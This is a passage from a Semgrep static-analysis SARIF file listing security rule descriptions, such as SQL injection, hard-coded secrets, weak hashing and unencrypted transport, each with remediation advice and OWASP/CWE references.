Rule](https://semgrep.dev/r/terraform.aws.security.aws-efs-filesystem-encrypted-with-cmk.aws-efs-filesystem-encrypted-with-cmk)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Ensure EFS filesystem is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-efs-filesystem-encrypted-with-cmk.aws-efs-filesystem-encrypted-with-cmk","id":"terraform.aws.security.aws-efs-filesystem-encrypted-with-cmk.aws-efs-filesystem-encrypted-with-cmk","name":"terraform.aws.security.aws-efs-filesystem-encrypted-with-cmk.aws-efs-filesystem-encrypted-with-cmk","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-efs-filesystem-encrypted-with-cmk.aws-efs-filesystem-encrypted-with-cmk"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If an attacker can supply values that the application then uses to determine which class to instantiate or which method to invoke, the potential exists for the attacker to create control flow paths through the application that were not intended by the application developers. This attack vector may allow the attacker to bypass authentication or access control checks or otherwise cause the application to behave in an unexpected manner."},"help":{"markdown":"If an attacker can supply values that the application then uses to determine which class to instantiate or which method to invoke, the potential exists for the attacker to create control flow paths through the application that were not intended by the application developers. This attack vector may allow the attacker to bypass authentication or access control checks or otherwise cause the application to behave in an unexpected manner.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.unsafe-reflection.unsafe-reflection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"If an attacker can supply values that the application then uses to determine which class to instantiate or which method to invoke, the potential exists for the attacker to create control flow paths through the application that were not intended by the application developers. This attack vector may allow the attacker to bypass authentication or access control checks or otherwise cause the application to behave in an unexpected manner."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.unsafe-reflection.unsafe-reflection","id":"java.lang.security.audit.unsafe-reflection.unsafe-reflection","name":"java.lang.security.audit.unsafe-reflection.unsafe-reflection","properties":{"precision":"very-high","tags":["CWE-470: Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.unsafe-reflection.unsafe-reflection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Possible path traversal through `tarfile.open($PATH).extractall()` if the source tar is controlled by an attacker"},"help":{"markdown":"Possible path traversal through `tarfile.open($PATH).extractall()` if the source tar is controlled by an attacker\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/trailofbits.python.tarfile-extractall-traversal.tarfile-extractall-traversal)\n - [https://docs.python.org/3/library/tarfile.html#tarfile.TarFile.extractall](https://docs.python.org/3/library/tarfile.html#tarfile.TarFile.extractall)\n","text":"Possible path traversal through `tarfile.open($PATH).extractall()` if the source tar is controlled by an attacker"},"helpUri":"https://semgrep.dev/r/trailofbits.python.tarfile-extractall-traversal.tarfile-extractall-traversal","id":"trailofbits.python.tarfile-extractall-traversal.tarfile-extractall-traversal","name":"trailofbits.python.tarfile-extractall-traversal.tarfile-extractall-traversal","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: trailofbits.python.tarfile-extractall-traversal.tarfile-extractall-traversal"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Use a suitable password hashing function such as scrypt. You can use `hashlib.scrypt`."},"help":{"markdown":"It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Use a suitable password hashing function such as scrypt. You can use `hashlib.scrypt`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.md5-used-as-password.md5-used-as-password)\n - [https://tools.ietf.org/html/rfc6151](https://tools.ietf.org/html/rfc6151)\n - [https://crypto.stackexchange.com/questions/44151/how-does-the-flame-malware-take-advantage-of-md5-collision](https://crypto.stackexchange.com/questions/44151/how-does-the-flame-malware-take-advantage-of-md5-collision)\n - [https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html](https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html)\n - [https://security.stackexchange.com/questions/211/how-to-securely-hash-passwords](https://security.stackexchange.com/questions/211/how-to-securely-hash-passwords)\n - [https://github.com/returntocorp/semgrep-rules/issues/1609](https://github.com/returntocorp/semgrep-rules/issues/1609)\n - [https://docs.python.org/3/library/hashlib.html#hashlib.scrypt](https://docs.python.org/3/library/hashlib.html#hashlib.scrypt)\n","text":"It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Use a suitable password hashing function such as scrypt. You can use `hashlib.scrypt`."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.md5-used-as-password.md5-used-as-password","id":"python.lang.security.audit.md5-used-as-password.md5-used-as-password","name":"python.lang.security.audit.md5-used-as-password.md5-used-as-password","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.md5-used-as-password.md5-used-as-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.postgres.hardcoded-password.hardcoded-password)\n - [https://docs.rs/postgres/latest/postgres/](https://docs.rs/postgres/latest/postgres/)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.postgres.hardcoded-password.hardcoded-password","id":"rust.secrets.postgres.hardcoded-password.hardcoded-password","name":"rust.secrets.postgres.hardcoded-password.hardcoded-password","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.postgres.hardcoded-password.hardcoded-password"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"User data flows into this manually-constructed SQL string. User data can be safely inserted into SQL strings using prepared statements or an object-relational mapper (ORM). Manually-constructed SQL strings is a possible indicator of SQL injection, which could let an attacker steal or manipulate data from the database. Instead, use prepared statements (`$mysqli->prepare(\"INSERT INTO test(id, label) VALUES (?, ?)\");`) or a safe library."},"help":{"markdown":"User data flows into this manually-constructed SQL string. User data can be safely inserted into SQL strings using prepared statements or an object-relational mapper (ORM). Manually-constructed SQL strings is a possible indicator of SQL injection, which could let an attacker steal or manipulate data from the database. Instead, use prepared statements (`$mysqli->prepare(\"INSERT INTO test(id, label) VALUES (?, ?)\");`) or a safe library.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.injection.tainted-sql-string.tainted-sql-string)\n - [https://owasp.org/www-community/attacks/SQL_Injection](https://owasp.org/www-community/attacks/SQL_Injection)\n","text":"User data flows into this manually-constructed SQL string. User data can be safely inserted into SQL strings using prepared statements or an object-relational mapper (ORM). Manually-constructed SQL strings is a possible indicator of SQL injection, which could let an attacker steal or manipulate data from the database. Instead, use prepared statements (`$mysqli->prepare(\"INSERT INTO test(id, label) VALUES (?, ?)\");`) or a safe library."},"helpUri":"https://semgrep.dev/r/php.lang.security.injection.tainted-sql-string.tainted-sql-string","id":"php.lang.security.injection.tainted-sql-string.tainted-sql-string","name":"php.lang.security.injection.tainted-sql-string.tainted-sql-string","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.injection.tainted-sql-string.tainted-sql-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure IAM policies don't allow credentials exposure. Credentials exposure actions return credentials as part of the API response, and can possibly lead to leaking important credentials. Instead, use another action that doesn't return sensitive data as part of the API response."},"help":{"markdown":"Ensure IAM policies don't allow credentials exposure. Credentials exposure actions return credentials as part of the API response, and can possibly lead to leaking important credentials. Instead, use another action that doesn't return sensitive data as part of the API response.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.lang.security.iam.no-iam-creds-exposure.no-iam-creds-exposure)\n - [https://cloudsplaining.readthedocs.io/en/latest/glossary/credentials-exposure/](https://cloudsplaining.readthedocs.io/en/latest/glossary/credentials-exposure/)\n - [https://github.com/bridgecrewio/checkov/blob/ca830e14745c2c8e1b941985f305abe985d7f1f9/checkov/terraform/checks/data/aws/IAMCredentialsExposure.py](https://github.com/bridgecrewio/checkov/blob/ca830e14745c2c8e1b941985f305abe985d7f1f9/checkov/terraform/checks/data/aws/IAMCredentialsExposure.py)\n","text":"Ensure IAM policies don't allow credentials exposure. Credentials exposure actions return credentials as part of the API response, and can possibly lead to leaking important credentials. Instead, use another action that doesn't return sensitive data as part of the API response."},"helpUri":"https://semgrep.dev/r/terraform.lang.security.iam.no-iam-creds-exposure.no-iam-creds-exposure","id":"terraform.lang.security.iam.no-iam-creds-exposure.no-iam-creds-exposure","name":"terraform.lang.security.iam.no-iam-creds-exposure.no-iam-creds-exposure","properties":{"precision":"very-high","tags":["CWE-200: Exposure of Sensitive Information to an Unauthorized Actor","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.lang.security.iam.no-iam-creds-exposure.no-iam-creds-exposure"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `sequelize.query('SELECT * FROM projects WHERE status = ?', { replacements: ['active'], type: QueryTypes.SELECT });`"},"help":{"markdown":"Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `sequelize.query('SELECT * FROM projects WHERE status = ?', { replacements: ['active'], type: QueryTypes.SELECT });`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.aws-lambda.security.sequelize-sqli.sequelize-sqli)\n - [https://sequelize.org/master/manual/raw-queries.html](https://sequelize.org/master/manual/raw-queries.html)\n","text":"Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `sequelize.query('SELECT * FROM projects WHERE status = ?', { replacements: ['active'], type: QueryTypes.SELECT });`"},"helpUri":"https://semgrep.dev/r/javascript.aws-lambda.security.sequelize-sqli.sequelize-sqli","id":"javascript.aws-lambda.security.sequelize-sqli.sequelize-sqli","name":"javascript.aws-lambda.security.sequelize-sqli.sequelize-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.aws-lambda.security.sequelize-sqli.sequelize-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"help":{"markdown":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.tainted-code-execution.tainted-code-execution)\n - [https://owasp.org/www-community/attacks/Code_Injection](https://owasp.org/www-community/attacks/Code_Injection)\n - [https://stackoverflow.com/questions/3115559/exploitable-php-functions](https://stackoverflow.com/questions/3115559/exploitable-php-functions)\n - [https://github.com/FloeDesignTechnologies/phpcs-security-audit/blob/master/Security/Sniffs/BadFunctions/NoEvalsSniff.php](https://github.com/FloeDesignTechnologies/phpcs-security-audit/blob/master/Security/Sniffs/BadFunctions/NoEvalsSniff.php)\n","text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"helpUri":"https://semgrep.dev/r/php.lang.security.tainted-code-execution.tainted-code-execution","id":"php.lang.security.tainted-code-execution.tainted-code-execution","name":"php.lang.security.tainted-code-execution.tainted-code-execution","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.tainted-code-execution.tainted-code-execution"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for requests sent via Java Spring RestTemplate API to http:// URLS. This is dangerous because the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, send requests only to https:// URLS."},"help":{"markdown":"Checks for requests sent via Java Spring RestTemplate API to http:// URLS. This is dangerous because the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, send requests only to https:// URLS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.java-spring.spring-http-request.spring-http-request)\n - [https://docs.spring.io/spring/docs/current/javadoc-api/org/springframework/web/client/RestTemplate.html#delete-java.lang.String-java.util.Map-](https://docs.spring.io/spring/docs/current/javadoc-api/org/springframework/web/client/RestTemplate.html#delete-java.lang.String-java.util.Map-)\n - [https://www.baeldung.com/rest-template](https://www.baeldung.com/rest-template)\n","text":"Checks for requests sent via Java Spring RestTemplate API to http:// URLS. This is dangerous because the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, send requests only to https:// URLS."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.java-spring.spring-http-request.spring-http-request","id":"problem-based-packs.insecure-transport.java-spring.spring-http-request.spring-http-request","name":"problem-based-packs.insecure-transport.java-spring.spring-http-request.spring-http-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.java-spring.spring-http-request.spring-http-request"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected string concatenation with a non-literal variable in a util.format / console.log function. If an attacker injects a format specifier in the string, it will forge the log message. Try to use constant values for the format string."},"help":{"markdown":"Detected string concatenation with a non-literal variable in a util.format / console.log function. If an attacker injects a format specifier in the string, it will forge the log message. Try to use constant values for the format string.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.audit.unsafe-formatstring.unsafe-formatstring)\n - [https://cwe.mitre.org/data/definitions/134.html](https://cwe.mitre.org/data/definitions/134.html)\n","text":"Detected string concatenation with a non-literal variable in a util.format / console.log function. If an attacker injects a format specifier in the string, it will forge the log message. Try to use constant values for the format string."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.audit.unsafe-formatstring.unsafe-formatstring","id":"javascript.lang.security.audit.unsafe-formatstring.unsafe-formatstring","name":"javascript.lang.security.audit.unsafe-formatstring.unsafe-formatstring","properties":{"precision":"very-high","tags":["CWE-134: Use of Externally-Controlled Format String","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.audit.unsafe-formatstring.unsafe-formatstring"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected admin access granted in your policy. This means anyone with this policy can perform administrative actions. Instead, limit actions and resources to what you need according to least privilege."},"help":{"markdown":"Detected admin access granted in your policy. This means anyone with this policy can perform administrative actions. Instead, limit actions and resources to what you need according to least privilege.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-iam-admin-policy.aws-iam-admin-policy)\n - [https://cwe.mitre.org/data/definitions/732.html](https://cwe.mitre.org/data/definitions/732.html)\n","text":"Detected admin access granted in your policy. This means anyone with this policy can perform administrative actions. Instead, limit actions and resources to what you need according to least privilege."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-iam-admin-policy.aws-iam-admin-policy","id":"terraform.aws.security.aws-iam-admin-policy.aws-iam-admin-policy","name":"terraform.aws.security.aws-iam-admin-policy.aws-iam-admin-policy","properties":{"precision":"very-high","tags":["CWE-732: Incorrect Permission Assignment for Critical Resource","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-iam-admin-policy.aws-iam-admin-policy"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"This hashing algorithm is insecure. If this hash is used in a security context, such as password hashing, it should be converted to a stronger hashing algorithm."},"help":{"markdown":"This hashing algorithm is insecure. If this hash is used in a security context, such as password hashing, it should be converted to a stronger hashing algorithm.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.passlib.passlib-insecure-hash.passlib-insecure-hash)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n - [https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/04-Testing_for_Weak_Encryption](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/04-Testing_for_Weak_Encryption)\n","text":"This hashing algorithm is insecure. If this hash is used in a security context, such as password hashing, it should be converted to a stronger hashing algorithm."},"helpUri":"https://semgrep.dev/r/python.passlib.passlib-insecure-hash.passlib-insecure-hash","id":"python.passlib.passlib-insecure-hash.passlib-insecure-hash","name":"python.passlib.passlib-insecure-hash.passlib-insecure-hash","properties":{"precision":"very-high","tags":["CWE-328: Use of Weak Hash","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.passlib.passlib-insecure-hash.passlib-insecure-hash"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"This socket is not encrypted. The traffic could be read by an attacker intercepting the network traffic. Use an SSLSocket created by 'SSLSocketFactory' or 'SSLServerSocketFactory' instead"},"help":{"markdown":"This socket is not encrypted. The traffic could be read by an attacker intercepting the network traffic. Use an SSLSocket created by 'SSLSocketFactory' or 'SSLServerSocketFactory' instead\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.lang.security.unencrypted-socket.unencrypted-socket)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"This socket is not encrypted. The traffic could be read by an attacker intercepting the network traffic. Use an SSLSocket created by 'SSLSocketFactory' or 'SSLServerSocketFactory' instead"},"helpUri":"https://semgrep.dev/r/kotlin.lang.security.unencrypted-socket.unencrypted-socket","id":"kotlin.lang.security.unencrypted-socket.unencrypted-socket","name":"kotlin.lang.security.unencrypted-socket.unencrypted-socket","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.lang.security.unencrypted-socket.unencrypted-socket"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application was observed to utilize Realm for data storage, but was not observed to set an encryption key. When no encryption key is set in the configuration, no encryption is used. To protect user and application data, the application should specify an encryption key, which is randomly generated per user, per client."},"help":{"markdown":"The application was observed to utilize Realm for data storage, but was not observed to set an encryption key. When no encryption key is set in the configuration, no encryption is used. To protect user and application data, the application should specify an encryption key, which is randomly generated per user, per client.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.realmstate-encryption-missing.swift-hardcoded-realm-without-encryption)\n - [https://ali-akhtar.medium.com/realm-custom-configuration-and-encryption-realmswift-part-3-f991f090ae22](https://ali-akhtar.medium.com/realm-custom-configuration-and-encryption-realmswift-part-3-f991f090ae22)\n - [https://mas.owasp.org/MASVS/controls/MASVS-STORAGE-1/](https://mas.owasp.org/MASVS/controls/MASVS-STORAGE-1/)\n - [https://mas.owasp.org/MASVS/controls/MASVS-CRYPTO-1/](https://mas.owasp.org/MASVS/controls/MASVS-CRYPTO-1/)\n","text":"The application was observed to utilize Realm for data storage, but was not observed to set an encryption key. When no encryption key is set in the configuration, no encryption is used. To protect user and application data, the application should specify an encryption key, which is randomly generated per user, per client."},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.realmstate-encryption-missing.swift-hardcoded-realm-without-encryption","id":"swift.commoncrypto.realmstate-encryption-missing.swift-hardcoded-realm-without-encryption","name":"swift.commoncrypto.realmstate-encryption-missing.swift-hardcoded-realm-without-encryption","properties":{"precision":"very-high","tags":["CWE-311: Missing Encryption of Sensitive Data","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.realmstate-encryption-missing.swift-hardcoded-realm-without-encryption"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.db.pg-express.pg-express)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/javascript.express.db.pg-express.pg-express","id":"javascript.express.db.pg-express.pg-express","name":"javascript.express.db.pg-express.pg-express","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.db.pg-express.pg-express"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.hardcoded.tokens.hardcoded-github-pat.hardcoded-github-pat)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.lang.hardcoded.tokens.hardcoded-github-pat.hardcoded-github-pat","id":"javascript.lang.hardcoded.tokens.hardcoded-github-pat.hardcoded-github-pat","name":"javascript.lang.hardcoded.tokens.hardcoded-github-pat.hardcoded-github-pat","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.hardcoded.tokens.hardcoded-github-pat.hardcoded-github-pat"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an LDAP query, which can allow attackers to run arbitrary LDAP queries. If an LDAP query must contain untrusted input then it must be escaped. Ensure data passed to an LDAP query is not controllable or properly sanitize the user input with functions like createEqualityFilter."},"help":{"markdown":"Untrusted input might be used to build an LDAP query, which can allow attackers to run arbitrary LDAP queries. If an LDAP query must contain untrusted input then it must be escaped. Ensure data passed to an LDAP query is not controllable or properly sanitize the user input with functions like createEqualityFilter.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.tainted-ldapi-from-http-request-deepsemgrep.tainted-ldapi-from-http-request-deepsemgrep)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build an LDAP query, which can allow attackers to run arbitrary LDAP queries. If an LDAP query must contain untrusted input then it must be escaped. Ensure data passed to an LDAP query is not controllable or properly sanitize the user input with functions like createEqualityFilter."},"helpUri":"https://semgrep.dev/r/java.servlets.security.tainted-ldapi-from-http-request-deepsemgrep.tainted-ldapi-from-http-request-deepsemgrep","id":"java.servlets.security.tainted-ldapi-from-http-request-deepsemgrep.tainted-ldapi-from-http-request-deepsemgrep","name":"java.servlets.security.tainted-ldapi-from-http-request-deepsemgrep.tainted-ldapi-from-http-request-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.tainted-ldapi-from-http-request-deepsemgrep.tainted-ldapi-from-http-request-deepsemgrep"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for creation of telnet servers or attempts to connect through telnet. This is insecure as the telnet protocol supports no encryption, and data passes through unencrypted."},"help":{"markdown":"Checks for creation of telnet servers or attempts to connect through telnet. This is insecure as the telnet protocol supports no encryption, and data passes through unencrypted.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.ruby-stdlib.net-telnet-request.net-telnet-request)\n - [https://docs.ruby-lang.org/en/2.2.0/Net/Telnet.html](https://docs.ruby-lang.org/en/2.2.0/Net/Telnet.html)\n - [https://www.rubydoc.info/gems/net-ssh-telnet2/0.1.0/Net/SSH/Telnet](https://www.rubydoc.info/gems/net-ssh-telnet2/0.1.0/Net/SSH/Telnet)\n","text":"Checks for creation of telnet servers or attempts to connect through telnet. This is insecure as the telnet protocol supports no encryption, and data passes through unencrypted."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.ruby-stdlib.net-telnet-request.net-telnet-request","id":"problem-based-packs.insecure-transport.ruby-stdlib.net-telnet-request.net-telnet-request","name":"problem-based-packs.insecure-transport.ruby-stdlib.net-telnet-request.net-telnet-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.ruby-stdlib.net-telnet-request.net-telnet-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Consuming CDNs without including a SubResource Integrity (SRI) can expose 